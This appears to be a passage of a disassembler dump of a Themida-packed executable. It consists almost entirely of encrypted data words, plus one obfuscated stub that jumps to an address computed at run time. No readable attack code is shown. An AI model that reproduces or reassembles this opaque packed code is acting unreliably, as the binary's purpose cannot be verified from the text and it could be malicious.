		dd 2C5D9A7Eh, 0B6AD1997h, 0FCA5DDCh, 8B27D5C2h,	9A5AE4EFh
		dd 0EFF28611h, 0ECA5E1Bh, 96C242C2h, 39EA0A3Ah,	0C8202DACh
		dd 629A3814h, 7193B11Eh, 0B336AFD8h, 54EEE783h,	0F99EA62Ch
		dd 4D314911h, 6B7A7E84h, 0C4CA5D9Ch, 0BC77E5EFh, 0F432EE38h
		dd 0A1BDE1DFh, 5EE70D37h, 0ABBCBF39h, 0D4DDCA5Dh, 0BC4490ECh
		dd 1FE51FB4h, 0AD910186h, 2BFCEA25h, 0D3C48F98h, 207A4h
		dd 6E680400h, 0C4001FC3h, 4859CA5Dh, 0E7B0797Bh, 636E12B5h
		dd 6D4B6E1h, 23DF06F2h,	9236CA5Eh, 0CA5E2493h, 0C6DBD7ECh
		dd 0EBD7B3FDh, 0CA5E23F4h, 2513844Dh, 5842EBC1h, 0E80CB0D2h
		dd 0C26405B9h, 0ECD6C112h, 5A75D9D7h, 3925DFA8h, 6CB7669Fh
		dd 0FB638266h, 0E7BCC263h, 40B970DDh, 65912D93h, 0C263353Eh
		dd 0AC2383A9h, 0CA67578h, 7E42D0B7h, 21AFB622h,	6808C264h
		dd 0D202D16Bh, 9ECD9FF2h, 1098EF6h, 16D83034h, 7903E5EFh
		dd 9E4A664Ah, 0C263E787h, 0F4C4D3E0h, 0EA1AB498h, 0E6D0D39Dh
		dd 8F1FC263h, 1F2864D3h, 685245B8h, 8D39555Bh, 0C263AB96h
		dd 47B5E2EFh, 3DC70F6Bh, 0AB7AA64Ah, 339BC263h,	0CA07F311h
		dd 0E6FFD430h, 10B04603h, 0AB1948ACh, 6172C263h, 0D92CAF36h
		dd 26FF888h, 1231Bh, 12357D00h,	82FB3391h, 0C47E5917h
		dd 6E12C1D3h, 8720E460h, 24A6BD29h, 0B2FFCA5Eh,	14189DE5h
		dd 32B4FA55h, 3D8350FCh, 0FA8DB721h, 0D2FE623Eh, 948B6532h
		dd 0EBCA5E10h, 0C36606E3h, 296E9972h, 2DF18919h, 0CF5C045Ah
		dd 0E9B50FE0h, 9BA09E5h, 0E734C3A7h, 5DF4E4FBh,	5F743DCAh
		dd 69640CA5h, 6854B0D7h, 0CF35CF04h, 656F91F6h,	0C898F9DCh
		dd 0D3FBFB68h, 8F31A231h, 0A361E3EBh, 310D7D0Ah, 187F854Dh
		dd 0A74B65F2h, 0CA5D9178h, 39BB458Fh, 1D825270h, 9B089847h
		dd 724E854Eh, 8A50864Eh, 19AB557Fh, 0C80A1D15h,	0CCF7D034h
		dd 0A27A35BBh, 1539CA5Dh, 619B38B9h, 3BB90AA3h,	79152572h
		dd 5DA2564Dh, 0B122AFCAh, 3CCBBF0Fh, 288832C0h,	2E31A55Fh
		dd 0B5CA5E5Ah, 0DA4FB909h, 967CD058h, 0C57574F1h, 28E6FDE9h
		dd 993DCA5Dh, 0CA5D298Ah, 0DFF4CEE3h, 0EB05D2B8h, 5D28D807h
		dd 33A031CAh, 804D318Dh, 0DEA98282h, 5D29571Ah,	0CB8E16CAh
		dd 74283E6Dh, 656D4D3Ah, 0C7D43413h, 7C805258h,	86867C47h
		dd 29AA07D2h, 1858F113h, 0A98282BAh, 0CEFA961Ah, 0CA5E23D7h
		dd 88F4A330h, 0FC04D0ACh, 8D626D8Bh, 0AE12C143h, 0A8186526h
		dd 7B0CA4E6h, 5A5FF90Fh, 29CB4E56h, 141202BEh, 0C9D9B583h
		dd 0E0B320CAh, 0E58BFC3Ch, 0D258308Bh, 6737794Ah, 0F6E2B251h
		dd 0C2633BEFh, 0DA497B48h, 27D5C207h, 640498C3h, 0E620B7C2h
		dd 5EE6F20Eh, 3B9E17A6h, 6E6DF80Eh, 1E26B2CEh, 4B3A4DE6h
		dd 26FA11Ah, 41FB126Eh,	4CA6EF93h, 682F7E41h, 7197h, 6E12D500h
		dd 8C25DF65h, 153107FBh, 5E24B2B1h, 0DB60BCAh, 686307A3h
		dd 4947B1D6h, 3ED25859h, 698BB122h, 0B70BB7E0h,	42F914F4h
		dd 0B7F9CACBh, 43E93h, 40B1B014h, 0B90AC263h, 4BFF7D0Ah
		dd 0C2634050h, 0CB6B6EF5h, 3FDC03EFh, 6D35C263h, 0E95F60AEh
		dd 61269D6Fh, 6FE33D2Ch, 0C72B8F02h, 0C263BA98h, 0DC1822AFh
		dd 35626F53h, 1C0C2h, 7D2C200h,	0DCEBB3FDh, 5C968903h
		dd 81D807EBh, 0A031CA5Dh, 0BC986433h, 2612F212h, 7620239Eh
		dd 0F77955D7h, 5CE26E0h, 866B6692h, 7039BB49h, 0D0015D63h
		dd 0BF01CA2Ah, 5D2A0C13h, 2B5C65CAh, 1DC9E5D1h,	0CA5D2A06h
		dd 3345525Fh, 86B81398h, 0AB17733Dh, 0CA5D2AB4h, 0D8FCC40Dh
		dd 0CA5D29C9h, 8C069122h, 0A17F1CA4h, 7A170EBAh, 6370CA5Dh
		dd 0B2751A71h, 0F1F00BE5h, 0EB8FCA5Dh, 40C40EE3h, 0AFD87193h
		dd 0B4FC06D1h, 4FA4A0ECh, 0CB739F9Eh, 42356836h, 0F39FE8DBh
		dd 0E6EBC00Bh, 89BB145Ch, 82DEBA3Ah, 8049AB51h,	5165F317h
		dd 5D9C7EA5h, 0E6CAD7CAh, 5D9BE302h, 5C673CCAh,	958C3854h
		dd 0ECCA5D9Ch, 5D9BD908h, 21A132CAh, 55390790h,	0F9D3DCF9h
		dd 650B7C47h, 0D257AD67h, 3FC5126Eh, 646F9541h,	8AD9545Ch
		dd 0E9DB5564h, 0D8BF9D17h, 727A403Ah, 4C78D3F1h, 0C2633055h
		dd 0D8AF25AEh, 0D9D7EC92h, 0E1A65C75h, 0B829F3DFh, 6A06CA60h
		dd 931CD86Ch, 436D3604h, 0EC785F7Bh, 0EF984AEAh, 0A5516D51h
		dd 0BA66A47Eh, 0C1FACAD7h, 0F02E4C1Bh, 418D6B1Ch, 0DE95DFC4h
		dd 0AD161C44h, 0D6506703h, 8802951Eh, 0F60EC4A8h, 0DE676F91h
		dd 79292556h, 0F7DFA1C9h, 72B764Dh, 0CECEAF17h,	4BC8976h
		dd 68680000h, 943E42D0h, 4F5EA270h, 90413DD5h, 7E58986Ah
		dd 688A3CC6h, 0B062E2ECh, 6FC04D0h, 0AB57EDEAh,	0CF608C3h
		dd 4C537F3Dh, 0A5C25A6Ah, 4D2CBCFh, 23DA09EDh, 9E33CA5Eh
		dd 0A94BF1E2h, 1F5FB320h, 544B77B4h, 0ADCA5E24h, 0AD11AF24h
		dd 5E241A49h, 395E73CAh, 5E79D5D9h, 0C0C760A4h,	606E12DCh
		dd 8720E4h, 0CB2C300Ah,	4D84FA4Bh, 1F46B20Eh, 78CA5E02h
		dd 3418982Bh, 0C38B699Bh, 490CF00Fh, 640CB7E3h,	0CACDB55h
		dd 50CA20B0h, 0B95B4101h, 272C2ACEh, 9121D258h,	7F570752h
		dd 6C240FC5h, 9E330F78h, 71943E22h, 0A6A19308h,	0A2F5DE01h
		dd 0B7223EDAh, 92DF678Dh, 11094732h, 47B1D6EDh,	0C2638114h
		dd 5581DDB9h, 5CE765Ch,	3010CB92h, 0F6C3BFA0h, 4A3D859Bh
		dd 6F022A3Bh, 0E9367E02h, 27FD0CCAh, 0E45B1C6Bh, 0BD000001h
		dd 0A7E906F5h, 4A26A802h, 0F0247389h, 1B4AAE12h, 74CA5E24h
		dd 8D48385Fh, 33B75060h, 0CBE6598Eh, 5D6A061Dh,	2E525FCAh
		dd 922EA59Fh, 3364E0EEh, 4791EDC9h, 1ED66E6Ah, 0B1963E95h
		dd 2A6314FEh, 2CAAD6C1h, 1AB49818h, 322C6EAh, 5CCA5D5Bh
		dd 0D8C44047h, 5B1110B4h, 7C68CA5Dh, 0CA5D5B65h, 4CDF5BEh
		dd 5FA2DD93h, 1D41CA5Dh, 0D87193B1h, 0A906D1AFh, 0CFD6022Fh
		dd 28CA5D55h, 159B289Bh, 8E669C39h, 0F3E06472h,	264AE6A4h
		dd 805C98ACh, 814AAA52h, 98334552h, 26E0F753h, 0ECF305CEh
		dd 45CA5D55h, 569477Ch,	0B14B3CF6h, 0A7FCBD05h,	6608F60Dh
		dd 4B4FE921h, 95031216h, 0CBDAFED8h, 24CA5D88h,	318F448Fh
		dd 893A698Dh, 3E93CA5Dh, 8D7B6759h, 92D2579Ah, 81E58642h
		dd 1A6DBAF5h, 512D9320h, 0AB8480BAh, 0FAFA08C5h, 4AC6631h
		dd 13BF6A68h, 0C263F30Ch, 20675C65h, 414C50EAh,	71E930B3h
		dd 0E15C1FFh, 67C26332h, 9B47695Ah, 0CA606F62h,	0CB7161FDh
		dd 0BB5FEBCh, 23CCBAFh,	225E2902h, 0A03090B4h, 69A00169h
		dd 9AF89FE1h, 0DB97856h, 0BA654316h, 0D3C15A81h, 476BF48Fh
		dd 10647B67h, 0F4BDBA66h, 83BDF4DFh, 52CEAF66h,	27805F2h
		dd 0AC240000h, 50827E94h, 831A56ACh, 5C757989h,	0BA145CA6h
		dd 0A4CE788Ah, 0F41E26B0h, 0D240C00Ch, 0EF2321AEh, 0C83AC40Fh
		dd 817BB01h, 61C25A68h,	6E12EF03h, 8922E262h, 1DD402FEh
		dd 5E24AAB9h, 715B03CAh, 279C35CFh, 4C78149Ch, 0CA5E2455h
		dd 187225AEh, 659F3418h, 3EAA069Fh, 0CA5E2427h,	14643380h
		dd 515074B9h, 0AACA5E24h, 0BE06AA19h, 0DC355C22h, 0C05FFD63h
		dd 0E036E5EFh, 0EF152FA3h, 701A6D56h, 0D908ECD0h, 32CA5DDEh
		dd 1226F6A1h, 241B4AAEh, 5F74CA5Eh, 9CC8FB75h, 0D7A902Ch
		dd 0C10BE0EBh, 902C943Fh, 5D3E3D64h, 7A0D96CAh,	4E7A1602h
		dd 0CA5D3E57h, 847423B0h, 2140A449h, 7ACA5D3Eh,	3A169A29h
		dd 741E69A3h, 0DD04F0CCh, 36CA5D3Dh, 52E81A6Dh,	776E5A36h
		dd 0D0CA5D3Eh, 3DEEF503h, 2747CA5Dh, 953E95AFh,	0C7E1A32Bh
		dd 5A5061Eh, 0FE893AC8h, 96425E42h, 0CA5DB88Fh,	0D81C28A6h
		dd 395E734Fh, 615960BFh, 0BE1337D2h, 0E0A78084h, 7F55D2E2h
		dd 0F066DA30h, 5081DDE3h, 16814AAAh, 0AEED26Eh,	0C25954DBh
		dd 8F89F34h, 318D33CDh,	59559EC5h, 0DDAAF7C2h, 6986512Dh
		dd 5582A145h, 0C6DBC259h, 59550322h, 7C475CC2h,	29C09C78h
		dd 2CF495F0h, 0C31037E2h, 591F6841h, 2A5A5A08h,	17C12EA3h
		dd 953E07EDh, 0B648836Fh, 0E0FB8A3Eh, 0CE1A2F74h, 7B487E56h
		dd 3505E45Fh, 0F8766D59h, 2CF5A59h, 0C3686395h,	0F7E4FBE7h
		dd 743D5A59h, 59F85D84h, 0D6EDB65Ah, 0AB5976DAh, 42922EDCh
		dd 6C25512Ah, 9DDBACD1h, 49BC1132h, 829F2215h, 0D430D4FEh
		dd 84E8C8FBh, 35CFB848h, 88492589h, 405F8672h, 5A765A59h
		dd 41814AAAh, 0F8D92770h, 6A59E3EFh, 0E55F6E8Ah, 6799331Fh
		dd 0BE1DC88Dh, 0C7A35791h, 142EA330h, 1B6C45BFh, 0B397A742h
		dd 2E0AEA24h, 59409BCAh, 0F4DFF45Ah, 0B57A55A3h, 3FF6EDD9h
		dd 824F5A59h, 59406F76h, 6D22DA5Ah, 9502E5EDh, 0F826A52Dh
		dd 4B0AA767h, 49654B78h, 5937869Dh, 0C5D2DF5Ah,	0A1456945h
		dd 5A593782h, 0D5FEC6DBh, 0BAE86894h, 0DCF7098Eh, 0C7FC06CFh
		dd 0BB4985E9h, 0C7107039h, 0A9EEB73Dh, 0EE6F3FDBh, 96E18372h
		dd 1B4D2A5Dh, 6B000000h, 0ECE6C30Fh, 0C0139C58h, 0C212C5D7h
		dd 0B96C1F71h, 412067DBh, 0EC16BF9Bh, 2D2799Bh,	0F3DEFAFAh
		dd 0EC7B351h, 0E8E410F4h, 16C09C58h, 0ECEA16EEh, 13C09C58h
		dd 0D8EF0BE9h, 18BAA65Eh, 567220E4h, 0C6815E54h, 4, 8704EE83h
		dd 685C2434h, 6416h, 51241489h,	0C181E189h, 4, 4E981h
		dd 0C870000h, 2C895C24h, 0BD555624h, 204C7155h,	8106E5C1h
		dd 770AEDC5h, 5DEE895Eh, 6CDEE681h, 0E6814A9Bh,	161300D3h
		dd 0A13CC681h, 0F28907F0h, 286C685Eh, 24890000h, 24048324h
		dd 0AE685D04h, 8900000Ah, 2C812414h, 962D1824h,	8458F53h
		dd 18084581h, 0FF53962Dh, 815D2434h, 4C4h, 2434FF00h, 4C4835Ah
		dd 0F6BEFFE9h, 0D963FBFFh, 9F2DD4F7h, 0AEC1328Ah
; ---------------------------------------------------------------------------


loc_63DAEC:				; CODE XREF: Themida_:loc_63BBF5j
		mov	eax, 803BF4Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0DFh, 0CDh, 81h
		dd 66BFC93Dh, 0A1986C2Fh, 7709F401h, 0C961F42Dh, 7169FC00h
		dd 0EF45960h, 11CC684Fh, 99EC9D37h, 0C867638h, 1423F828h
		dd 8FA98843h, 662FFE5Dh, 9823501Bh, 78381157h, 0B90CC05Ah
		dd 0F29EE74Bh, 0E8058B46h, 0ECAE5469h, 9D32873Ah, 99DCB20Fh
		dd 6AC5CA4Ah, 0CA396E1Eh, 0C7E92A0Fh, 0D6275011h, 0ABC4ED49h
		dd 0BB8D6D05h, 0ED177703h, 0E085BB25h, 34E16B44h, 0E3F66C75h
		dd 0C5639E73h, 12E849h,	0F55F0000h, 5E95A5A5h, 0CE812A59h
		dd 71BCE59Ah, 0B5DD5EF1h, 9FC976B9h, 0C081582Eh, 5B25h
		dd 0ABBD38Bh, 81485852h, 5844A0F3h, 0B9388B48h,	6739A2A7h
		dd 2C00F781h, 0BA665513h, 0EF81FA24h, 45D2340Dh, 8DF28166h
		dd 7C7819Bh, 811B3447h,	5CBDBCF2h, 0E9388916h, 8, 0CA5410ECh
		dd 37631970h, 0FC02E883h, 0EB814848h, 1, 0FFB7850Fh, 8E9FFFFh
		dd 48000000h, 0A4DAE60Bh, 0E8551F55h, 0Fh, 0DA45FE77h
		dd 3D0D86C1h, 691579E4h, 0E8738D9Dh, 7,	72F267A8h, 0F8869B60h
		dd 0C3815B5Eh, 0DC60h, 68E0Fh, 0D9810000h, 370E6178h, 57C46CBFh
		dd 7DEF811Ch, 661C578Dh, 138BC18Bh, 52BDBE66h, 6878EA81h
		dd 0F6815D4Ah, 7DC7AB86h, 2687F281h, 11E9046Bh,	91000000h
		dd 703FC36h, 0EA4658Dh,	907C7639h, 4A4A6CB7h, 3856F281h
		dd 0F526E97h, 38FF3BFh,	7820Fh,	0BF600000h, 4910B0BEh
		dd 2EB8361h, 5ED9D981h,	4B4B3958h, 850F4FFCh, 0FFFFFFA6h
		dd 0AE8h, 25CB0F00h, 0EA8CB289h, 592EA72Ch, 9E8h, 59FCF400h
		dd 0F8769D68h, 0BF0FFE88h, 14E958CBh, 0D1000000h, 3D139038h
		dd 5A1A1A5Ah, 0EEC71F1h, 3BB11F51h, 81AAB1ACh, 5F01C0h
		dd 0D2816600h, 826820DAh, 0E8000017h, 0Eh, 0F7161FC0h
		dd 0FE2BC48Bh, 3CC1B091h, 830F2D42h, 5,	0A2DB8166h, 0E85E5B9Dh
		dd 0Ah,	744A3E28h, 25605CABh, 0F601CF0h, 11E8F2BFh, 44000000h
		dd 0F5F839A8h, 5EE56CC8h, 2EC5D069h, 0C1647F5Bh, 8B5B6159h
		dd 2E0BB938h, 0C7812EC7h, 19384E5Bh, 0CE8B6656h, 5DEF815Ah
		dd 0F1E0837h, 0F781CFB7h, 0CF9EFDFh, 57DEBF0Fh,	0C3816660h
		dd 5E81650h, 69000000h,	67B1B3A2h, 59C8B70Fh, 51008F61h
		dd 13E9h, 47413C00h, 0E68D0EF0h, 173DBE64h, 0E0B2D52Eh
		dd 784338EAh, 0D2E8815Ah, 8109BFBCh, 0E776B3CAh, 0CEC08118h
		dd 0B109BFBCh, 1EE8165h, 0F000000h, 0FFFF8A85h,	0EED3B9FFh
		dd 8D8D543Fh, 803C315h,	89F0BF0Fh, 0FA27C18Dh, 0C7AEB607h
		dd 0FA1C0185h, 5D9407h,	0DBBF0F00h, 1AED85C7h, 7FAh, 9D8B0000h
		dd 7FA1C35h, 2B95B5FFh,	95FF07FAh, 7FA177Dh, 0CE9h, 75FF9B00h
		dd 867D4C74h, 5EE4FCB1h, 0DE85Ah, 0B9B90000h, 2323CCE8h
		dd 1ECF5C28h, 0F49F7B4h, 48Eh, 0BDBB6600h, 6A5B15h, 12D95FFh
		dd 0C08B07FAh, 9A683FEBh, 34913AFFh, 0E7A637D1h, 0AD866181h
		dd 78A1C07Bh, 0FBF786DBh, 8D7A92F0h, 25B331Ah, 64F0DDFBh
		dd 89F2BC10h, 7F066101h, 41E3D539h, 5774965Ch, 0F8A49F87h
		dd 0EFAB8536h, 551348FBh, 0ECE934h, 0
		dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h,	10ED7C90h
		dd 7C90h, 276F2h, 5 dup(0)
		dd 0ADA00000h, 7C80h, 2Bh dup(0)
		dd 60000h, 36130000h, 39DABB4Ah, 66113DFCh, 792EED15h
		dd 0D944C1A9h, 0D755817Dh, 0A8739816h, 6683BA1Ah, 0E7243215h
		dd 0C542FDD2h, 0B5A63D2Eh, 0B735B174h, 6643C803h, 0DBA13B60h
		dd 61EB0720h, 36914615h, 0DE84B946h, 66223604h,	783CB79Ch
		dd 0FB0535EFh, 61B90DCFh, 3E79E1EAh, 53248F96h,	128835EFh
		dd 0DE176202h, 66223604h, 783CB79Ch, 0FB0535EFh, 61B90EDCh
		dd 3E79E1EAh, 7E913DECh, 6883215h, 69ADE29Eh, 6A223215h
		dd 0AB64AC15h, 3AB13661h, 0DDEA167Bh, 9F438E85h, 7F345AE0h
		dd 62013215h, 69B16A31h, 66223C99h, 6618DB15h, 7F3A3215h
		dd 540918A8h, 0E5B72B4Fh, 65D248A8h, 0E287321Dh, 66443269h
		dd 662220FCh, 0B8D28515h, 7338B718h, 0B0E1FE7Fh, 5DCB0B7Eh
		dd 0EB1D1731h, 65FBD190h, 68AD521Dh, 0C1223215h, 4B4F73C0h
		dd 0D2BDDCC4h, 2AC97E31h, 0E02D6411h, 66113215h, 0B677534Bh
		dd 664420FCh, 1B7F3315h, 0DACED2B8h, 0AD5C6726h, 0C586663Dh
		dd 0EBBEEF3Ah, 65652190h, 6683DB1Dh, 0D723215h,	58429DCCh
		dd 1D875F27h, 8F58CD46h, 66443219h, 1516D8Eh, 5722CA02h
		dd 7090D1A3h, 7335B7D3h, 697435EFh, 66113391h, 34E0CA15h
		dd 93D89AADh, 78AF87EAh, 8E7135EFh, 66883205h, 8BDE74F8h
		dd 18C54F0Ah, 0E272CA72h, 29994BBDh, 1EC89Eh, 7EF59AAh
		dd 66113CFCh, 0E6408B15h, 18811258h, 0E671A4A0h, 0EBE29A3Bh
		dd 98B26A90h, 68C83D12h, 8F223215h, 6611321Ch, 60A31E7Bh
		dd 6410DA84h, 62A13D7Bh, 6113215h, 99E96D46h, 6AC83DC5h
		dd 69223215h, 6611349Eh, 66083D15h, 0EF443215h,	9C39DF90h
		dd 0E3D6CB12h, 61721350h, 66443215h, 6635B41Ah,	74F83215h
		dd 0FD883215h, 1DEDE2C8h, 4C644F99h, 28107EEDh,	84F6DA3Eh
		dd 17C1F47Ch, 2325C800h, 75F852ECh, 0C883215h, 38C874A2h
		dd 225D49A7h, 0EE6FFC68h, 950BBBA1h, 0E722AE0Ch, 713B8C4h
		dd 14785B7Dh, 610B3D9Bh, 69443215h, 66223393h, 0D3EEC715h
		dd 6172203Ch, 66443DFCh, 80D62415h, 0EB21BD28h,	0D1AD437Dh
		dd 900C3A7Eh, 5DB1B798h, 0EC1E35EFh, 66883206h,	66443CFCh
		dd 8F56B215h, 0B56116BDh, 2C475A5Eh, 99B3E8BEh,	6633DBC5h
		dd 8FF93215h, 54B87C91h, 13575A0Ah, 831CAF35h, 0EFA070CDh
		dd 9C91CB90h, 6641DB12h, 66AE3215h, 0A0F1950Bh,	9C9D4390h
		dd 9FBD7112h, 1496C7Dh,	661FDB89h, 4C9F3215h, 1CE37A4Ah
		dd 0CAA1655h, 0CA6284D4h, 74A187EAh, 0E72435EFh, 0DDBC66F3h
		dd 670CA79h, 991DD894h,	0A9CF63B5h, 0F5A7BF74h,	6916C82Eh
		dd 66883E94h, 6643DB15h, 0AC9D3215h, 0CBA3625Ch, 658CDFAh
		dd 0C5DB81AEh, 94985453h, 0E39853EBh, 6E8BF177h, 17C1F4ECh
		dd 3225C800h, 0A9A63D75h, 0EE902A6h, 88265A3Ch,	662FBC1Ah
		dd 69713215h, 6688329Ah, 87C55415h, 99434D3Fh, 9C031BA0h
		dd 6E073D12h, 69443215h, 66223091h, 0EB705215h,	9CB3A190h
		dd 6CC03D12h, 8F223215h, 66113210h, 955DAF5h, 8F94CD59h
		dd 66223219h, 5C6FC242h, 0E4B6021Fh, 1C3FBD1Bh,	0A7BBE9h
		dd 8F1931D6h, 6688321Fh, 458FBFF0h, 2FA14DC5h, 0E3D7DDCAh
		dd 61722764h, 0A42CCA50h, 6F8522Dh, 4FA4CD74h, 8F8FC807h
		dd 66443204h, 7D134C3Ch, 17412C06h, 0E3745228h,	1217F8DCh
		dd 0F5A7BF67h, 6916C82Eh, 66883F97h, 28FB5215h,	691F9683h
		dd 66113298h, 0B6775315h, 0CC1BBEDh, 9E2A31D6h,	41BC8F96h
		dd 698835EFh, 66454390h, 8DA35215h, 60B19417h, 6688B71Ah
		dd 0A0253215h, 9C374390h, 68F87712h, 3B883215h,	7DB67480h
		dd 32D3F5CFh, 0F208E30h, 669BDBC4h, 54A3215h, 19902857h
		dd 32AC3920h, 5DA5CAD4h, 0F46A782Dh, 18A45A4Dh,	6CF8C835h
		dd 5A883215h, 54C608D3h, 268D0BDCh, 4FA4CD16h, 8F8FC807h
		dd 66443201h, 8CC06B33h, 0AEDE04B7h, 0E8A78CD3h, 7779DA55h
		dd 1FE385DEh, 5D82B798h, 686135EFh, 0FC443215h,	9EF7DEB3h
		dd 0F902D74h, 4107D854h, 8F94CD3Fh, 6622321Bh, 7150DEA7h
		dd 1F0CA037h, 4302FC60h, 0E3AB9B93h, 6E12F17Bh,	669DBD1Ah
		dd 76AD3215h, 21223215h, 0E2282E4Fh, 0DDAE238Bh, 1C0ADCFDh
		dd 0A0A76144h, 9C044390h, 69E87E12h, 66443199h,	0B5953D15h
		dd 6FD437AEh, 0A5E0533Ah, 69A414C5h, 66223394h,	68F8C715h
		dd 7B883215h, 0A39F3F19h, 6FFAD0D2h, 2942C1E8h,	4F3DCD44h
		dd 9343C807h, 5DB1B798h, 0EA1E35EFh, 6688321Dh,	6646B71Ah
		dd 7423215h, 0E51EE2EAh, 6688321Fh, 664437FCh, 0D28B0115h
		dd 0E398466Dh, 6E8BF167h, 0ADCF5475h, 66223BFCh, 0F2A6E15h
		dd 0AB26AC5Eh, 625588Ah, 3E6EE294h, 0E01E3484h,	66883203h
		dd 664423FCh, 2EB45A15h, 47E4F1B1h, 37DAFCDCh, 31AC68EEh
		dd 8F43F5CEh, 661132CAh, 0DFEE52E9h, 9E178E32h,	0E3E4534Ah
		dd 61EB2764h, 6683DB47h, 0A66D3215h, 0A961AF9Ah, 0A9D67A6Ah
		dd 82855AC6h, 99B88E5Fh, 9C3A8FA0h, 6601DB12h, 0F56D3215h
		dd 19061463h, 0ABE7CB10h, 84FA7951h, 0E3051CC1h, 61BE0986h
		dd 8FF2CDEDh, 66113210h, 699588F0h, 8C1BBF6h, 62A31D6h
		dd 6616DA47h, 47033215h, 0F570B912h, 786DC2h, 9898F594h
		dd 170DF474h, 3443C800h, 662237FCh, 615D8415h, 2EE0AD19h
		dd 9FE27E5Fh, 7E9F87EAh, 0EBED35EFh, 9CB3A190h,	6CCB3D12h
		dd 6223215h, 5F00C294h,	663C3577h, 6994CD74h, 66222B9Eh
		dd 75923D15h, 8F883215h, 6644321Bh, 8FDFFD04h, 8F3B4392h
		dd 323440E3h, 0E3CDB0D3h, 6E21F167h, 66113CFCh,	0F5300A15h
		dd 0FB9A21CEh, 27CFEEC9h, 0A0A56D13h, 9C9D4390h, 0E44B6012h
		dd 6622321Dh, 6613B61Ah, 7E83215h, 24F0D87Dh, 0EF2D52E8h
		dd 66113213h, 6688B01Ah, 7B13215h, 740B87EAh, 0D17135EFh
		dd 0E3055383h, 61BE0986h, 662CB81Ah, 6FF83215h,	34883215h
		dd 371FCAFAh, 0F38A8257h, 0D571E2EAh, 0E30153FCh, 61BE2F6Ch
		dd 66223CFCh, 0A2C4E215h, 48B4FFD8h, 8BB9D939h,	6A1256Dh
		dd 8F4FCE45h, 66883207h, 489A408Dh, 4BD980CBh, 0C272EA79h
		dd 0C61AB4A9h, 0A025D9F7h, 9C374390h, 0E81E4512h, 6688321Dh
		dd 6646B31Ah, 7423215h,	72F8CA75h, 92883215h, 7503D85Ch
		dd 59F01C9Fh, 0D697C8E9h, 0CA31B739h, 78F6FBAh,	0F18A917Dh
		dd 69F852E6h, 69883215h, 0F0BD2653h, 6590043Ah,	798B3AC8h
		dd 21381915h, 0BBF1CD74h, 6925C834h, 66113895h,	668DDB15h
		dd 4C7B3215h, 0EB89B4A2h, 9C2AA190h, 6684DB12h,	0C59D3215h
		dd 3A58E919h, 0D7B617F4h, 0B67708C6h, 664439FCh, 6879C15h
		dd 0C4268F81h, 0FAB1F614h, 7C41B79Ch, 0EB2D35EFh, 66113214h
		dd 170DF4EDh, 3443C800h, 662AB11Ah, 0EA1E3215h,	66883217h
		dd 712C5375h, 6A8EF24h,	8790C19Fh, 46E75494h, 4FF1CD74h
		dd 6925C807h, 66113392h, 0E305CA15h, 61BE0986h,	662ADB75h
		dd 0AEA3215h, 2BC1E31Bh, 0ED22EBDAh, 694253E2h,	8E71CAA2h
		dd 66883205h, 0C003754Bh, 0F8417862h, 8EE0E123h, 0A5AE1BA1h
		dd 97CF544Bh, 0B6DD5374h, 8794BBEDh, 68FC827h, 8E3FE195h
		dd 6622321Bh, 6C4BFF3Eh, 0DF3F45h, 9B5EFD2Dh, 24950393h
		dd 0E3D7534Fh, 61722764h, 8CCE5243h, 5F4A53ECh,	69C52D78h
		dd 66883392h, 0D3BBCB15h, 61D82C98h, 66113DFCh,	92FC4F15h
		dd 0FD405C69h, 1795493Fh, 0DCA9EBEFh, 6680B81Ah, 243215h
		dd 0E821C194h, 0E39C53ECh
		dd 6176084Dh, 8F9DB875h, 66223210h, 2C313E2Fh, 0B67753B3h
		dd 665BBF1Ah, 0E92D3215h, 6611320Ch, 668826FCh,	35289C15h
		dd 8C3CBFA3h, 0C513C143h, 0E7EBD1FAh, 0D6B337D0h, 0E3ABC722h
		dd 61EB3EF0h, 170DF4EDh, 2143C800h, 6625DB75h, 0D1913215h
		dd 619FFE49h, 0E74B5304h, 66223214h, 766B5AE9h,	9971B3C9h
		dd 9C561BA0h, 0E02D5212h, 66113216h, 0EC78851Ah, 0E3C953FAh
		dd 61D80986h, 69C1CDE0h, 66882A97h, 7AF45215h, 66223DFCh
		dd 762F7C15h, 0A9EF69E3h, 2DF86566h, 93C15B76h,	9B94BB74h
		dd 698FC826h, 6644219Ch, 662CDB15h, 7BFF3215h, 0FAC4D0Eh
		dd 50EE3D7Bh, 0C3331D52h, 7360B7D3h, 9ACF35EFh,	69F1D07Dh
		dd 0D3DDCE9Fh, 61EB203Ch, 6680B41Ah, 0EF4B3215h, 66223217h
		dd 0E39C5375h, 61720986h, 6645B41Ah, 99D73215h,	6602DBC5h
		dd 0D57F3215h, 0ED032061h, 1D38F7E1h, 0EB153AD2h, 0EB24A5E1h
		dd 69155239h, 6622329Ah, 0E51E6915h, 66883216h,	799D195h
		dd 0A5B0B79Ch, 0E41E3A16h, 66883214h, 53C1F5E9h, 1E25C80Ch
		dd 69113215h, 66882492h, 6655DB15h, 0A9723215h,	0BD61AED7h
		dd 0DA05A0Bh, 0AFCB9CEh, 8FEE7EA0h, 66113212h, 0C57F8CCBh
		dd 0E50EBE07h, 9C2597A8h, 0E21E3212h, 66882B2Bh, 6650DA75h
		dd 2DF23215h, 0AAB973A2h, 531C8A76h, 7206BF87h,	82CFA390h
		dd 74ACAFCh, 73F9B7D3h,	690835EFh, 66223F9Bh, 6619DB15h
		dd 0EF623215h, 0A2ACD33Ch, 0EDE8AA3h, 0BFCB2EFCh, 4F3DCDECh
		dd 643C807h, 8E06E595h,	66113212h, 561B0D9Ah, 0E6498ED4h
		dd 779F3DBh, 5D82B798h,	0E835EFh, 1505D194h, 23D58873h
		dd 6618DB74h, 0BBE83215h, 40E4C442h, 999656D1h,	6616DBC5h
		dd 38423215h, 0B795D4F5h, 18A7BBBFh, 8F1931D6h,	6688321Bh
		dd 87259042h, 0CFD67D25h, 6A9A0DA2h, 6C61D136h,	4F443215h
		dd 2ECB6690h, 77570014h, 170DF4EBh, 2A43C800h, 0E32D52EDh
		dd 66113213h, 6688B11Ah, 69AC3215h, 0A6223215h,	7E0A9A13h
		dd 0AD26C6CBh, 46FEA49Fh, 3972613Dh, 0A879534Fh, 695546CBh
		dd 66442A99h, 6631DB15h, 89C63215h, 0C2B57F62h,	0C39F9FF3h
		dd 769185Eh, 24D45EBDh,	668EDB09h, 3383215h, 0CE4AACA8h
		dd 743887EAh, 0E68735EFh, 66443212h, 6623B91Ah,	69ED3215h
